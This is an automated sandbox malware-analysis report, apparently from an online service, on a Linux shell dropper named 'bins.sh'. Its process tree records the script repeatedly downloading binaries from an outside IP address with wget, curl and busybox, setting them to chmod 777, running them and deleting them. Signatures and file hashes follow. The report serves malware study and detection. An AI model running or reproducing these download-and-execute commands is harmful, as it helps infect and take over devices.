Analysis

  • max time kernel
    47s
  • max time network
    53s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/11/2024, 14:30

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241104-rt7hka1gpr
  • SHA256 a2c7fd804328b2924ca9e0ae30caa8826786bd905f1bf0c66a85fddc50fe1f7a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Checks CPU configuration 1 TTPs 13 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 26 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:659
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
            PID:668
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:676
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
            2⤵
              PID:685
            • /bin/chmod
              chmod 777 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
              2⤵
              • File and Directory Permissions Modification
              PID:688
            • /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
              ./i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
              2⤵
              • Executes dropped EXE
              PID:689
            • /bin/rm
              rm i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
              2⤵
                PID:692
              • /usr/bin/wget
                wget http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
                2⤵
                  PID:694
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:696
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
                  2⤵
                    PID:698
                  • /bin/chmod
                    chmod 777 v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
                    2⤵
                    • File and Directory Permissions Modification
                    PID:699
                  • /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
                    ./v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
                    2⤵
                    • Executes dropped EXE
                    PID:700
                  • /bin/rm
                    rm v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
                    2⤵
                      PID:702
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                      2⤵
                        PID:703
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:704
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                        2⤵
                          PID:705
                        • /bin/chmod
                          chmod 777 mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                          2⤵
                          • File and Directory Permissions Modification
                          PID:706
                        • /tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                          ./mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                          2⤵
                          • Executes dropped EXE
                          PID:707
                        • /bin/rm
                          rm mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                          2⤵
                            PID:708
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                            2⤵
                              PID:709
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:713
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                              2⤵
                                PID:719
                              • /bin/chmod
                                chmod 777 vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                                2⤵
                                • File and Directory Permissions Modification
                                PID:722
                              • /tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                                ./vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                                2⤵
                                • Executes dropped EXE
                                PID:723
                              • /bin/rm
                                rm vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                                2⤵
                                  PID:726
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                                  2⤵
                                    PID:727
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:731
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                                    2⤵
                                      PID:735
                                    • /bin/chmod
                                      chmod 777 0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:738
                                    • /tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                                      ./0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                                      2⤵
                                      • Executes dropped EXE
                                      PID:739
                                    • /bin/rm
                                      rm 0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                                      2⤵
                                        PID:742
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
                                        2⤵
                                          PID:743
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:746
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
                                          2⤵
                                            PID:751
                                          • /bin/chmod
                                            chmod 777 iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:754
                                          • /tmp/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
                                            ./iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
                                            2⤵
                                            • Executes dropped EXE
                                            PID:755
                                          • /bin/rm
                                            rm iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
                                            2⤵
                                              PID:756
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
                                              2⤵
                                                PID:757
                                              • /usr/bin/curl
                                                curl -O http://216.126.231.240/bins/u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
                                                2⤵
                                                • Checks CPU configuration
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:761
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
                                                2⤵
                                                  PID:769
                                                • /bin/chmod
                                                  chmod 777 u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:773
                                                • /tmp/u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
                                                  ./u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:774
                                                • /bin/rm
                                                  rm u5VyPq1DQQxPDTYfAOJvumtfGZyTt54wp5
                                                  2⤵
                                                    PID:775
                                                  • /usr/bin/wget
                                                    wget http://216.126.231.240/bins/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
                                                    2⤵
                                                      PID:777
                                                    • /usr/bin/curl
                                                      curl -O http://216.126.231.240/bins/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
                                                      2⤵
                                                      • Checks CPU configuration
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:784
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
                                                      2⤵
                                                        PID:788
                                                      • /bin/chmod
                                                        chmod 777 LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:790
                                                      • /tmp/LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
                                                        ./LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
                                                        2⤵
                                                        • Executes dropped EXE
                                                        PID:791
                                                      • /bin/rm
                                                        rm LBG2zgPMsrKErU34Y5KryP4cBCov0PDfCH
                                                        2⤵
                                                          PID:792
                                                        • /usr/bin/wget
                                                          wget http://216.126.231.240/bins/30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
                                                          2⤵
                                                            PID:793
                                                          • /usr/bin/curl
                                                            curl -O http://216.126.231.240/bins/30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
                                                            2⤵
                                                            • Checks CPU configuration
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:794
                                                          • /bin/busybox
                                                            /bin/busybox wget http://216.126.231.240/bins/30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
                                                            2⤵
                                                              PID:795
                                                            • /bin/chmod
                                                              chmod 777 30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:796
                                                            • /tmp/30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
                                                              ./30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:797
                                                            • /bin/rm
                                                              rm 30QlS3XM6ANPKpQPhj1XzZDESwub0O3Zw3
                                                              2⤵
                                                                PID:798
                                                              • /usr/bin/wget
                                                                wget http://216.126.231.240/bins/oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
                                                                2⤵
                                                                  PID:799
                                                                • /usr/bin/curl
                                                                  curl -O http://216.126.231.240/bins/oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
                                                                  2⤵
                                                                  • Checks CPU configuration
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:820
                                                                • /bin/busybox
                                                                  /bin/busybox wget http://216.126.231.240/bins/oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
                                                                  2⤵
                                                                    PID:825
                                                                  • /bin/chmod
                                                                    chmod 777 oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:827
                                                                  • /tmp/oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
                                                                    ./oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
                                                                    2⤵
                                                                    • Executes dropped EXE
                                                                    PID:829
                                                                  • /bin/rm
                                                                    rm oacqGQMw7IFANZad5t2rQCDqXsNzNOXlOp
                                                                    2⤵
                                                                      PID:830
                                                                    • /usr/bin/wget
                                                                      wget http://216.126.231.240/bins/aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
                                                                      2⤵
                                                                        PID:831
                                                                      • /usr/bin/curl
                                                                        curl -O http://216.126.231.240/bins/aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
                                                                        2⤵
                                                                        • Checks CPU configuration
                                                                        • Reads runtime system information
                                                                        • Writes file to tmp directory
                                                                        PID:836
                                                                      • /bin/busybox
                                                                        /bin/busybox wget http://216.126.231.240/bins/aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
                                                                        2⤵
                                                                          PID:837
                                                                        • /bin/chmod
                                                                          chmod 777 aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
                                                                          2⤵
                                                                          • File and Directory Permissions Modification
                                                                          PID:838
                                                                        • /tmp/aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
                                                                          ./aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
                                                                          2⤵
                                                                          • Executes dropped EXE
                                                                          PID:839
                                                                        • /bin/rm
                                                                          rm aBPQqOObJxRC6iyRq9P4ZHuoUUpyR7iIXE
                                                                          2⤵
                                                                            PID:840
                                                                          • /usr/bin/wget
                                                                            wget http://216.126.231.240/bins/Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
                                                                            2⤵
                                                                              PID:841
                                                                            • /usr/bin/curl
                                                                              curl -O http://216.126.231.240/bins/Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
                                                                              2⤵
                                                                              • Checks CPU configuration
                                                                              • Reads runtime system information
                                                                              • Writes file to tmp directory
                                                                              PID:842
                                                                            • /bin/busybox
                                                                              /bin/busybox wget http://216.126.231.240/bins/Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
                                                                              2⤵
                                                                                PID:843
                                                                              • /bin/chmod
                                                                                chmod 777 Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
                                                                                2⤵
                                                                                • File and Directory Permissions Modification
                                                                                PID:844
                                                                              • /tmp/Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
                                                                                ./Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
                                                                                2⤵
                                                                                • Executes dropped EXE
                                                                                PID:845
                                                                              • /bin/rm
                                                                                rm Ril8QXCpo25KKQbMQ4pswpaaD9SBvagK0U
                                                                                2⤵
                                                                                  PID:846
                                                                                • /usr/bin/wget
                                                                                  wget http://216.126.231.240/bins/KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
                                                                                  2⤵
                                                                                    PID:847
                                                                                  • /usr/bin/curl
                                                                                    curl -O http://216.126.231.240/bins/KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
                                                                                    2⤵
                                                                                    • Checks CPU configuration
                                                                                    • Reads runtime system information
                                                                                    • Writes file to tmp directory
                                                                                    PID:848
                                                                                  • /bin/busybox
                                                                                    /bin/busybox wget http://216.126.231.240/bins/KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
                                                                                    2⤵
                                                                                      PID:851
                                                                                    • /bin/chmod
                                                                                      chmod 777 KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
                                                                                      2⤵
                                                                                      • File and Directory Permissions Modification
                                                                                      PID:852
                                                                                    • /tmp/KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
                                                                                      ./KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
                                                                                      2⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:853
                                                                                    • /bin/rm
                                                                                      rm KXEo0b3gUrdjMy0yISHUtnCzslokkiSqSu
                                                                                      2⤵
                                                                                        PID:854
                                                                                      • /usr/bin/wget
                                                                                        wget http://216.126.231.240/bins/jLylmMQLxYCdFZ2yP73TDdGWmWBe4mrlJw
                                                                                        2⤵
                                                                                          PID:855

                                                                                      Network

                                                                                            MITRE ATT&CK Enterprise v15

                                                                                            Replay Monitor

                                                                                            Loading Replay Monitor...

                                                                                            Downloads

                                                                                            i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc

                                                                                            • Path /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
                                                                                            • Size 176B
                                                                                            • SHA256 6de94db8afc535ef95ba6c6290317d20e50312c146186cb86a4210770c1a741e
                                                                                            • MD5 SHA1 SHA512

                                                                                            mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm

                                                                                            • Path /tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                                                                                            • Size 153B
                                                                                            • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                                                                                            • MD5 SHA1 SHA512